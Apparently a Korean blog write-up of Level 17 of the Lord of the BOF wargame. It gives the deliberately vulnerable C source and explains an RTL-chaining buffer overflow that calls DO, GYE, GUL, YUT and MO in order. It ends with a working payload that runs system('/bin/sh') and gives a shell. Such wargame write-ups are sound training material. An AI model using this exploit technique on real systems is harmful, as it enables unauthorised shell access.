ii4gsp
LOB - Level17 [zombie_assassin -> succubus] 본문
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
문제 소스코드이다.
라이브러리 주소 사용금지 + main()함수의 RET는 DO()함수의 주소여야한다.
함수가 많듯 RTL Chaining을 이용하면된다.
MO()함수에서 system(cmd)를 system("/bin/sh")로 바꿔주면 쉘을 획득할 수 있다.
각 함수의 주소를 모두 구해주자
<main+173>부분에 break point를 걸어주고 "A"는 dummy "B"는 "/bin/sh"주소 "C"는 "/bin/sh"를 넣을공간이다.
스택값을 확인해보자
0xbffffa3c - 4 = 0xbffffa38
0xbffffa38부터 "C" 즉, 0x43의 값이있다.
0xbffffa38에 "/bin/sh"를 넣어주면 된다.
core dumped가 떳다 core파일을 분석해보자
0xbffffabc - 4 = 0xbffffab8
0xbffffab8 주소에 "/bin/sh"가 있다.
페이로드를 작성해주자
buffer + sfp + &DO() + &GYE() + &GUL() + &YUT() + &MO + dummy + &"/bin/sh" + "/bin/sh"
[44byte] [4byte] [4byte] [4byte] [4byte] [4byte] [4byte] [4byte] [8byte]
payload
./succubus $(python -c 'print "\x90" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "\x90" * 4 + "\xb8\xfa\xff\xbf" + "/bin/sh"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level19 [nightmare -> xavius] (0) | 2020.01.29 |
---|---|
LOB - Level18 [succubus -> nightmare] (0) | 2020.01.28 |
LOB - Level16 [assassin -> zombie_assassin] (0) | 2020.01.26 |
LOB - Level15 [giant -> assassin] (0) | 2020.01.25 |
LOB - Level14 [bugbear -> giant] (0) | 2020.01.23 |
Comments